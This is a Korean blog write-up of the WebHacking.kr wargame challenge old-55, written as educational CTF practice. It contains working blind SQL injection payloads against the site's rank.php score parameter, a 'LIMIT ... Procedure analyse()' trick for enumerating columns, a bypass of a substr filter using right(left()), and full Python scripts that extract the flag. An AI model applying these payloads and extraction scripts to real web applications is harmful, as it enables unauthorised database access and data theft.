Search

WebHacking.kr Challenge old-55

목표 : LIMIT Procedure analyse(), Blind SQLi, substr → left(right)
귀여운 캐릭터가 마우스를 움직일 때마다 졸졸졸졸 따라오고 어쩌다보면 게임이 오버된다.
랭킹을 보면 쿼리문과 점수가 보인다.
메인 페이지 코드를 다시본다.
<html> <head> <title>Challenge 55</title> </head> <body onmousemove=move()> <img src=monster.jpg style="position:relative;left:1;top:1;" id=monster alt='oldzombie'> <script> function move(){ monster.src = Math.floor(Math.random()*2)?"monster.jpg":"monster2.jpg"; if(parseInt(monster.style.left)<event.x) monster.style.left=parseInt(monster.style.left)+1; if(parseInt(monster.style.left)>event.x) monster.style.left=parseInt(monster.style.left)-1; if(parseInt(monster.style.left)<event.y) monster.style.top=parseInt(monster.style.top)+1; if(parseInt(monster.style.left)<event.y) monster.style.top=parseInt(monster.style.top)-1; if(parseInt(monster.style.left)<event.x && parseInt(monster.style.top)<event.y) {monster.style.left=parseInt(monster.style.left)+1;monster.style.top=parseInt(monster.style.top)+1; } if(parseInt(monster.style.left)>event.x && parseInt(monster.style.top)>event.y) {monster.style.left=parseInt(monster.style.left)-1;monster.style.top=parseInt(monster.style.top)-1; } if(parseInt(monster.style.left)==event.x && parseInt(monster.style.top)==event.y) {alert('GAME OVER'); sfrm.submit(); } if(event.x<=0) sfrm.score.value=0; if(event.y<=0) sfrm.score.value=0; sfrm.mx.value=event.x; sfrm.my.value=event.y; sfrm.score.value++; } </script> <form method=post name=sfrm> Score : <input type=text name=score value=0 readonly style=border:0> <input type=text name=mx readonly style=border:0;font:10> <input type=text name=my readonly style=border:0;font:10><br> </form> <a href=rank.php>rank</a>
PHP
복사
그냥 마우스에 따라 움직이는데 핵심은 다음 코드다
if(parseInt(monster.style.left)==event.x && parseInt(monster.style.top)==event.y) {alert('GAME OVER'); sfrm.submit(); }
SQL
복사
몬스터 그림의 좌상단 꼭지점과 마우스 포인터가 겹치면 게임이 종료되고 스코어가 제출된다.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
SQL
복사
제출되는 스코어 값을 수정하면 Flag를 얻을 수 있겠다.
복잡해보이지만 그냥 간단히 보면 id, score, flag 값을 넣는단 얘기로 score에는 Trim함수가 적용돼 공백을 제거한다.
페이지 동작을 살펴보면 점수를 클릭하면 점수에 해당하는 id와 점수를 보여주는 걸 알 수 있고 GET 인자에 score 값이 들어가있다.
즉 다른 사람이 사용하지 않은 score값을 넣고 flag를 Id에 넣으면 얻을 수 있겠다.
#score 1234','flag'),('flag','722722,
SQL
복사
1234’,’{$flag}’),(’{$flag}’,’722722
일부러 메인 페이지에서 게임오버가 된 뒤 값을 잡았다.
음 뭔가 제대로 안됐다.
복사 중에 ‘ 가 다른 ‘이 들어갔다.
1234','{$flag}'),('{$flag}','722722
그래도 여전히 안되더라. 솔직히 이게 해답일 줄 알고 진짜 이것저것 많이했는데
쿼리문에 저거라면 되야할텐데 싶었지만 필터링 문제인지 안됐다. 빨리 포기했어야했는데.

문제 풀이

URL의 Score 부분에 참 거짓 구분을 하는지 시도해보면 가능하다. 즉 BSQLI가 가능하다.
1 and 1=1
SQL
복사
1 and 1=0
SQL
복사
score는 select를 필터링한다.
전에 워게임을 통해 알았던 기능을 활용해 DB명 webhacking 테이블명 chall55과 id 필드명 id을 얻었다.
53번은 Procedure analyse()를 처음 사용했던 부분이다. (SQL 버전 상 실 환경에서는 사실 쓰기 힘들어보인다)
https://webhacking.kr/challenge/web-31/rank.php?score=1%20Procedure%20analyse()
SQL
복사
Procedure analyse() 는 이미 저번에도 사용했던 개념인데 이번에 추가로 알게 된 부분이 있다. limit을 함께 사용해서 현재 보고 있는 열 말고 다른 열의 데이터도 뽑을 수 있다고 한다.
잘 이해가 안돼서 직접 해봤다. 이미 아는 내용이라면 토글을 클릭하지 않아도 된다.

LIMIT + Procedure analyse() 원리 탐구 파트

이해한 걸 바탕으로 실시하니 각 필드명을 얻을 수 있었다.
https://webhacking.kr/challenge/web-31/rank.php?score=1 LIMIT 1,1 Procedure analyse()
SQL
복사
https://webhacking.kr/challenge/web-31/rank.php?score=1 LIMIT 2,1 Procedure analyse()
SQL
복사
필드명도 얻었겠다 세번째 필드가 누가봐도 flag필드명이다. 필드 길이 값은 쉽게 얻을 수 있다.
https://webhacking.kr/challenge/web-31/rank.php?score=1 and length(p4ssw0rd_1123581321)=31
SQL
복사
참일 때는 PiterPan이 나오는 걸 기반으로 파이썬 코드를 수정했다.
원래는 다음 코드로 했는데 전부 no hack만 response되더라.
import requests URL = 'https://webhacking.kr/challenge/web-31/rank.php?score=1' TRUE_PHRASE = 'Piterpan' c = {"cookie":"PHPSESSID=YOUR SESSION"} def query(payload): r = requests.get(URL + payload,cookies=c, timeout=300) content = r.text return TRUE_PHRASE in content def find_pw(): pw_len = 31 result_pw = '' chk = 0 for pos in range(1, pw_len + 1): chk = 0 for character in range(65, 133): if query(" and ord(substr(p4ssw0rd_1123581321,{},1))={}".format(pos, character)) is True: result_pw += chr(character) print(result_pw) chk = 1 break if chk == 0: for character in range(33, 65): if query(" and ord(substr(p4ssw0rd_1123581321,{},1))={}".format(pos, character)) is True: result_pw += chr(character) print(result_pw) break print('pw: {}'.format(result_pw)) find_pw()
Python
복사
하나씩 줄여서 치다보니 substr 함수가 문제였다. substrleft, right 함수로 대체가능하다. 그리고 이 두 함수는 필터링 되지 않았다.
다른 다양한 내장함수들이 궁금하면 다음 게시물을 참고하자.
그렇게 수정한 최종 코드는 다음과 같다
import requests URL = 'https://webhacking.kr/challenge/web-31/rank.php?score=1' TRUE_PHRASE = 'Piterpan' c = {"cookie":"PHPSESSID=your session"} def query(payload): r = requests.get(URL + payload,cookies=c, timeout=300) content = r.text return TRUE_PHRASE in content def find_pw_length(): pw_len = 1 while query(" and length(p4ssw0rd_1123581321)={}".format(pw_len)) is False: pw_len += 1 print('pw_len: {}'.format(pw_len)) return pw_len # there_is_no_rest_for_the_white_angel # %23 = # def find_pw(): #pw_len = find_pw_length() pw_len = 31 result_pw = '' chk = 0 for pos in range(1, pw_len + 1): chk = 0 for character in range(65, 133): if query(" and ord(right(left(p4ssw0rd_1123581321,{}),1))={}".format(pos, character)) is True: result_pw += chr(character) print(result_pw) chk = 1 break if chk == 0: for character in range(33, 65): if query(" and ord(right(left(p4ssw0rd_1123581321,{}),1))={}".format(pos, character)) is True: result_pw += chr(character) print(result_pw) break print('pw: {}'.format(result_pw)) find_pw()
Python
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.